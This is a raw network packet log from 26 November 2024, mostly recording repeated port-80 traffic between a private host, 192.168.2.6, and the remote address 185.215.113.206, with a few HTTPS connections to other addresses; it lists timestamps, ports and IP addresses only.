Nov 26, 2024 16:31:44.904917002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.904977083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.905992985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.906011105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.906018019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.906059980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.906094074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.907179117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.907191992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.907217979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.907243013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.908253908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.908272982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.908318996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.909260035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.909272909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.909326077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.910636902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.910650969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.910656929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.910742044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.911520004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.911535025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.911587954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.911607981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.912749052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.912761927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.912833929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.913877010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.913912058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.913954973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.914001942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.914911032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.914927006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.914978981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.915014982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.916017056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.916030884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.916040897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.916062117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.916089058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.917186975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.917198896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.917270899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.917272091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.918770075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.918791056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.918863058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.918863058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.920402050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.920416117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.920479059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.920491934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.921633005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.921646118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.921684980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.921703100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.922887087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.922900915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.922951937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.924083948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.924097061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.924134970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.924164057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.925239086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.925251961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.925292015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.925317049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.926381111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.926393986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.926439047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.936297894 CET	49875	443	192.168.2.6	23.200.88.39
Nov 26, 2024 16:31:44.936326981 CET	443	49875	23.200.88.39	192.168.2.6
Nov 26, 2024 16:31:44.936382055 CET	49875	443	192.168.2.6	23.200.88.39
Nov 26, 2024 16:31:44.936775923 CET	49875	443	192.168.2.6	23.200.88.39
Nov 26, 2024 16:31:44.936786890 CET	443	49875	23.200.88.39	192.168.2.6
Nov 26, 2024 16:31:44.958574057 CET	49859	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.984692097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.984767914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.984797955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.984849930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.985261917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.985276937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.985305071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.985327959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.986135006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.986197948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.986530066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.986546040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.986599922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.987492085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.987539053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.987981081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.988059044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.988610029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.988656044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.988656998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.988699913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.989804029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.989825964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.989888906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.989888906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.991112947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.991131067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.991206884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.991206884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.992166996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.992182970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.992208958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.992230892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.993354082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.993366957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.993377924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.993434906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.993434906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.994477987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.994491100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.994533062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.994540930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.995793104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.995807886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.995874882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.995874882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.996908903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.996922970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.996982098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.997684002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.997698069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.997746944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.997781992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.998788118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.998802900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.998842001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.998862982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.000030994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.000045061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.000056982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.000086069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.000108004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.001096010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.001110077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.001146078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.001159906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.002188921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.002201080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.002247095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.003599882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.003618956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.003654957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.003674030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.004890919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.004904985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.004920959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.004941940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.004966021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.005836010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.005851984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.005888939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.005907059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.006901979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.006933928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.006946087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.006968975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.008157969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.008171082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.008213043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.009502888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.009516954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.009552002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.009571075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.010634899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.010648966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.010662079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.010672092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.010684013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.010708094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.106725931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.106844902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.107028961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.107073069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.107156992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.107203007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.107650995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.107691050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.108270884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.108283043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.108314991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.108340025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.109282970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.109483957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.109793901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.110452890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.110630989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.110673904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.111808062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.111820936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.111833096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.111849070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.111865044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.112941027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.112953901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.112991095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.113033056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.114094973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.114108086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.114150047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.115147114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.115159988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.115187883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.115214109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.116141081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.116153955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.116193056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.117232084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.117243052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.117321968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.117321968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.118537903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.118550062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.118597984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.118617058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.119790077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.119837046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.120946884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.120960951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.120984077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.121016026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.121737957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.121757984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.121768951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.121803045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.121826887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.122104883 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.122711897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.122725010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.122766018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.122776985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.123703957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.123718023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.123763084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.123788118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.124931097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.124943972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.124990940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.125047922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.125938892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.125952959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.125966072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.125993013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.126013994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.126900911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.126916885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.126943111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.126962900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.127089977 CET	49861	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.127116919 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.128123045 CET	49861	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.128129959 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.128536940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.128552914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.128582954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.128604889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.129528999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.129554987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.129606962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.130578041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.130592108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.130620956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.130645037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.131896973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.131911993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.131922960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.131952047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.131980896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.133198023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.133213043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.133260965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.133285046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.134211063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.134224892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.134268045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.134294033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.140557051 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.186198950 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.195404053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.195523977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.195549011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.195580006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.196135044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.196146965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.196223974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.197022915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.197573900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.197597980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.197643042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.198401928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.198889017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.198904991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.198939085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.198955059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.199958086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.199974060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.200001955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.200023890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.200880051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.200891972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.200938940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.201844931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.201860905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.201908112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.202841043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.202858925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.202970982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.203885078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.203905106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.203967094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.203967094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.204870939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.204884052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.204924107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.205873966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.205888033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.205923080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.207031965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.207051039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.207087040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.208024025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.208038092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.208070040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.209076881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.209089994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.209100008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.209125996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.209151030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.209918976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.209938049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.209970951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.210932016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.210948944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.210983038 CET	49809	80	192.168.2.6	185.215.113.206
